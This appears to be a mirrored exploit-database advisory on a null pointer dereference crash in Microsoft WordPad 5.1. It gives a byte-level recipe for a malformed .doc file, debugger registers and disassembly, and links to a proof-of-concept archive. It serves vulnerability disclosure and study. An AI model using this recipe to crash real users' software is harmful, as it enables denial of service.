Microsoft Wordpad 5.1 – ‘.doc’ Null Pointer Dereference - 体验盒子

作者： condis

日期： 2012-05-30

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/18952/

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Microsoft Wordpad 5.1 (.doc) Null Pointer Dereference Vulnerability

Found by condis

Tested on Windows XP SP 3 Proffesional PL

MS Wordpad 5.1 (Compilation 2600.xpsp.080413-2111 SP 3)

This isn't bug from CWE 2009-0259

$ Binnary diff of template file (proper empty doc document) and malformed file

(showing just the offset that differs):

0000 1200: 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 -- template file

0000 1200: 00 00 00 00 00 00 63 6F6E 64 00 00 00 00 00 00 -- proof of concept

Actually it doesn't matters (almost) what 4 bytes we will put there untill they != 0x00.

Access violation when reading [00000004]

$ Registers:

eax = 020ebb72 ebx = 00000000 ecx = 020ebb7c edx = 00090608

esi = 00000000 edi = 01bc04a8 eip = 01b9dbbb esp = 0177f5c8

ebp = 0177f5cc

$ Function dump :

01b9dbb4 55pushebp

01b9dbb5 8becmov ebp,esp

01b9dbb7 56pushesi

01b9dbb8 8b7508mov esi,dword ptr [ebp+8]

01b9dbbb 807e0400cmp byte ptr [esi+4],0 ds:0023:00000004=?? ; ---- crash

01b9dbbf 751bjne mswrd8+0x1dbdc (01b9dbdc)

01b9dbc1 8b06mov eax,dword ptr [esi]

01b9dbc3 57pushedi

01b9dbc4 8b78fcmov edi,dword ptr [eax-4]

01b9dbc7 57pushedi

01b9dbc8 ff156010b801calldword ptr [mswrd8+0x1060 (01b81060)]

01b9dbce 57pushedi

01b9dbcf ff157410b801calldword ptr [mswrd8+0x1074 (01b81074)]

01b9dbd5 56pushesi

01b9dbd6 e87bfdffffcallmswrd8+0x1d956 (01b9d956)

01b9dbdb 5fpop edi

01b9dbdc 5epop esi

01b9dbdd 5dpop ebp

$ 'O, hai' goes to Echo, Varseand, cxecurity and madcow ;3

$ Below You should see link to attachement with PoC:

http://cond.psychodela.pl/d/ms-wordpad-nullptr.rar

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18952.rar